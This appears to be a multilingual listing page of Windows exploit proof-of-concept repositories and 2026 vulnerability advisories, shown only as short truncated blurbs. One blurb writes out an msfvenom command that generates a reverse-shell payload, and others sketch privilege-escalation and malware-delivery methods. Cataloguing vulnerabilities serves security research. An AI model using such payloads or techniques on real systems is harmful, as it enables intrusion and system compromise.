allthingsida

Système d'exploitation MS Windows Scripts d'énumération PEB/LDRDATATABLEENTRY Structures PEB/TEB x64 Structures PEB/TEB x86...

CVE-2023-23397-POC

Deux POC que j'ai créés pour la vulnérabilité NTLM CVE-2023-23397. À l'origine, les POC envoyaient des invitations à des réunions avec un rappel, mais j'ai réussi à envoyer un e-mail avec un rappel ne nécessitant aucune interaction de l'utilisateur. Le fichier .ps1 doit être exécuté depuis un hôt...

CVE-2023-26360-RCE

CVE-2023-26360 - Exécution de code à distance sur ColdFusion 2021 Parfois, les scripts ne fonctionnent pas du premier coup. Essayez plusieurs fois pour que cela fonctionne Comment exécuter Créer un payload avec msfvenom root@kitploit: msfvenom -p java/shellreversetcp LHOST=192.168.56.1 LPORT=4444...

CVE-2024-0670

CVE-2024-0670 – Élévation de privilèges locale dans l'agent CheckMK PoC PowerShell Résumé Ce dépôt présente une preuve de concept PowerShell indépendante pour CVE-2024-0670 , une vulnérabilité d'élévation de privilèges locale Windows dans l'agent CheckMK. Cette vulnérabilité permet à un utilisate...

CVE-2021-21551

PoC pour CVE-2021-21551 Élévation de privilèges locale LPE Windows utilisant le pilote Dell dbutil23.sys. Approche d'exploitation Implémenter la lecture/écriture, allouer du shellcode, retourner la page pour contourner SMEP, écraser le pointeur haldispatch, exécuter le shellcode...

CVE-2024-21412_Water-Hydra

CVE-2024-21412Water-Hydra CVE-2024-21412를 통해 악성 소프트웨어 전달 사용법 순서대로 서비스를 시작한 후 웹 서버에 접속 웹 서버 폴더 내에서 웹 서버 실행: python -m http.server Initial Access: Windows 고급 쿼리 구문AQS을 사용하여 WebDAV 공유의 JPEG 트로이 목마에 연결. Initial Access: search: 프로토콜을 사용하여 Windows 탐색기 창 사용자 정의 search: 애플리케이션 프로토콜 검색을 사용하여 사진 검색 수행 crum...

evtx-baseline

evtx-baseline Un dépôt hébergeant des journaux evtx de bonnes pratiques goodware contenant des exemples d'installation de logiciels et d'interactions utilisateur de base Dons win10-client.tgz par @phantinuss win11-client.tgz par @frack113 win7-x86.tgz par @pH-T win2022-evtx.tgz par @Neo23x0...

presentations

Mes présentations Vous trouverez plus de choses sur mon site personnel : https://sites.google.com/site/zhiniangpeng root@kitploit: Exploitation de RCE pré-auth et de vulnérabilités d'échappement de sandbox dans EXSi, Typhooncon 2023 Les objets OLE sont toujours dangereux aujourd'hui — Exploitatio...

CVE-2021-1732_exp

CVE-2021-1732-Exploit CVE-2021-1732 Exploit « Ne l'utilisez pas pour des activités illégales, sinon vous en assumerez les conséquences ! » Utilisation de l'EXP CVE-2021-1732exploit.exe whoami Ressource: https://bbs.pediy.com/thread-266362.htm...

CVE-2023-21768

CVE-2023-21768 Informations sur le système d'exploitation root@kitploit: OS 名称: Microsoft Windows 11 专业版 OS 版本: 10.0.22621 暂缺 Build 22621 LPE...

EUVD-2026-68916

A vulnerability in the Backblaze Client allows a local user to make the system not bootable by creating a link from Backblaze's folder to Windows OS system files during a backup. Successful exploitation requires an administrator-level system change that results in the absence of specific Windows ...

CVE-2026-19820

CVE-2026-19820 affects the Backblaze Client for Windows . The root cause is improper link resolution : a local user can create a link from Backblaze's folder to Windows OS system files during a backup, potentially rendering the system not bootable . Successful exploitation requires an administrat...

CVE-2026-19820 Backblaze Client for Windows Improper Link Resolution Vulnerability

A vulnerability in the Backblaze Client allows a local user to make the system not bootable by creating a link from Backblaze's folder to Windows OS system files during a backup. Successful exploitation requires an administrator-level system change that results in the absence of specific Windows ...

PT-2026-84550

Confused deputy in CredentialProvider in Google Chrome on on Windows prior to 152.0.7977.75 allowed a remote attacker who had compromised the renderer process to leak sensitive information via a crafted HTML page. Chromium security severity: Low...

PT-2026-84561

Buffer overflow in GPU in Google Chrome on on Windows prior to 152.0.7977.75 allowed a remote attacker who had compromised the renderer process to execute arbitrary code outside the sandbox via a crafted HTML page. Chromium security severity: High...

PT-2026-84524

Name of the Vulnerable Software and Affected Versions Thunderbird versions prior to 153.2 Thunderbird versions prior to 154 Description Malicious calendar invitations can utilize file URI attachments to execute local or network-hosted executables on Windows systems, bypassing standard executable...

PT-2026-84555

Incorrect authorization in Chromoting in Google Chrome on on Windows prior to 152.0.7977.75 allowed a local attacker to execute arbitrary code outside the sandbox via a local program. Chromium security severity: Medium...

CVE-2026-62735

CVE-2026-62735 Informations Cette vulnérabilité a été découverte à l'origine par Siyeon Wi. J'ai reproduit la vulnérabilité de manière indépendante à des fins pédagogiques et d'étude de cas. La vulnérabilité a également été démontrée lors du Pwn2Own Berlin 2026. Références : Statut TrendAI Zero D...

honda

RoguePlanet от Nightmare-Eclipse HONDA от nu11secur1ty RoguePlanet — уязвимость Windows Defender Авторы: Оригинальный разработчик эксплойта Nightmare-Eclipse Разработка, тестирование и доведение до боевого состояния nu11secur1ty инженер по тестированию на проникновение 🧠 Технический анализ от...

CVE-2004-1561-Notes

CVE-2004-1561 Notes d'exploitation Bonjour à tous, Je partage avec vous mes notes d'exploitation de CVE-2004-1561 d'Icecast sur une machine Windows 7 Si vous voulez l'essayer par vous-même, voici un excellent lab Comment ouvrir mes notes J'ai enregistré mes notes au format .ctd, et les ouvrir en...